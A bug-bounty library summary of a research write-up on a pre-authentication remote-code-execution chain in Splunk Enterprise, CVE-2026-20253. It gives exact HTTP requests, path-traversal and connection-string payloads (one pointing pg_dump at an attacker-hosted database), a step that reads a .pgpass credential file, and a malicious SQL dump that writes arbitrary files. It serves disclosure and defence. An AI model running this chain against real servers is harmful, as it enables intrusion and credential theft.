# Why Use App-Level Auth When Every Database Has Auth? (Splunk Enterprise CVE-2026-20253 Pre-Auth RCE)

Unauthenticated Splunk web proxy reaches the PostgreSQL sidecar's backup/restore API, enabling arbitrary file write via pg_dump/pg_restore connection-string injection and ultimately pre-auth RCE.

- Payout: Research
- Severity: critical
- Program: Splunk Enterprise
- Found by (vendor credit): Alex Hordijk (hordalex)
- Write-up by: Piotr Bazydlo
- Disclosed: 2026-06-12
- CVE: CVE-2026-20253
- Write-up quality: 9/10
- Original: https://labs.watchtowr.com/why-use-app-level-auth-when-every-database-has-auth-splunk-enterprise-cve-2026-20253-pre-auth-rce/
- Library page: https://bugbountylibrary.com/r/blog%3Alabs-watchtowr-com-why-use-app-level-auth-when-every-database-has-auth-splunk-enterprise-cve-2026-20253-pre-auth-rce
- Tags: area:web domain:web impact:rce kind:research platform:research sev:critical tech:go technique:chained technique:source-review vuln:auth-bypass vuln:command-injection vuln:path-traversal vuln:rce

**Target:** Splunkd web app proxying to PostgreSQL Sidecar Service API (/v1/postgres/recovery/backup and /restore)
**Root cause:** The PostgreSQL sidecar service endpoints lack authentication and forward attacker-controlled username/database/backupFile into pg_dump/pg_restore command lines; the database argument accepts a libpq connection string that overrides hardcoded -h localhost, and backupFile is a path-traversal write sink.
**Steps:**
1. Confirm sidecar listens on 127.0.0.1:5435 via `ss -tupln | grep -i splunk-postgres`
2. Reach it through the main web app: `POST /en-US/splunkd/__raw/v1/postgres/recovery/backup` with `Authorization: Basic Og==` and body `{"database":"search_metadata","backupFile":"backuptest"}` returns 200
3. Path traversal write: `{"database":"search_metadata","backupFile":"../../../../../../../../../tmp/backuptest"}` creates empty file at /tmp
4. Inject connection string in database to redirect pg_dump: `{"database":"hostaddr=attacker.db.watchTowr.local dbname=testdb","backupFile":"/tmp/whatever"}` with `Authorization: Basic dGVzdDo=` dumps attacker DB to target filesystem
5. Read local creds: `find /opt/splunk -name *.pgpass` reveals `/opt/splunk/var/packages/data/postgres/.pgpass` with postgres_admin password
6. Restore attacker dump into local DB: `POST /en-US/splunkd/__raw/v1/postgres/recovery/restore` with `Authorization: Basic cG9zdGdyZXNfYWRtaW46` and `{"database":"dbname=template1 passfile=/opt/splunk/var/packages/data/postgres/.pgpass","backupFile":"/tmp/whatever"}`
7. Malicious dump defines plpgsql SECURITY DEFINER function using `lo_from_bytea`/`lo_export` to write arbitrary content to a chosen path, triggered during restore
8. Overwrite `/opt/splunk/etc/apps/splunk_secure_gateway/bin/ssg_enable_modular_input.py` with `import os; os.system("id > /opt/splunk/share/splunk/search_mrsparkle/exposed/watchTowr.txt")` to get code execution as splunk user
**How found:** Advisory named the PostgreSQL Sidecar Service; researcher located the Go binary in /opt/splunk/var/run/supervisor/pkg-run/, confirmed loopback-only listeners, grepped strings for /v1/postgres/ endpoints, found Splunk docs showing backupFile/database parameters, and hypothesized the main web app proxies to the sidecar. An LLM harness suggested the proxied request with empty Basic auth, which succeeded. Reading pg_dump docs revealed dbname accepts a connection string overriding -h localhost, and passfile parameter enabled reading the local .pgpass.
**Exploitation:** Attacker hosts a PostgreSQL instance with a passwordless user (pg_hba.conf trust) and a crafted dump containing a SECURITY DEFINER function that calls lo_export. Via the unauthenticated proxied /backup endpoint, a libpq connection string in the database field redirects pg_dump to the attacker DB, writing the dump to an arbitrary path. The /restore endpoint then loads that dump into the local template1 DB using the leaked .pgpass credentials (passfile injection), executing the malicious function and achieving arbitrary file write as splunk. Overwriting a frequently-executed Python script yields RCE.
**Escalation:** Chained unauthenticated proxy access → connection-string injection → arbitrary file write → credential leak via .pgpass → SQL execution during restore → overwrite of executed Python script for RCE.
**Insight:** When a service hardcodes a connection host but passes a user-controlled dbname to pg_dump/pg_restore, libpq connection-string syntax (hostaddr=, passfile=, dbname=) overrides those flags — always test whether 'database' parameters accept connection strings. Also, loopback-only sidecars proxied by a main web app are effectively network-reachable; check /__raw/ proxy paths for missing auth.

## Proof of concept (copied exactly from the original report)

**Backup request with empty Basic auth**

```
POST /en-US/splunkd/__raw/v1/postgres/recovery/backup HTTP/1.1
Host: yes-f5-we-are-very-petty.com
Content-Length: 56
Content-Type: application/json
Authorization: Basic Og==

{"database":"search_metadata","backupFile":"backuptest"}
```

**Malicious SQL dump using lo_export**

```
DB="yourDB"
TBL="yourtable"
OUTFILE='/tmp/pwn'
CONTENT='pwned'
HEX=$(printf '%s' "$CONTENT" | od -An -v -tx1 | tr -d ' \n')

DROP TABLE IF EXISTS ${TBL};
DROP FUNCTION IF EXISTS ${TBL}_f(int);
CREATE FUNCTION ${TBL}_f(i int) RETURNS bool LANGUAGE plpgsql VOLATILE SECURITY DEFINER AS \$\$
DECLARE l oid;
BEGIN
 l := lo_from_bytea(0, '\\x${HEX}'::bytea);
 PERFORM lo_export(l, '${OUTFILE}');
 RETURN true;
END \$\$;
CREATE TABLE ${TBL} (i int CHECK (${TBL}_f(i)));
INSERT INTO ${TBL} VALUES (1);
```

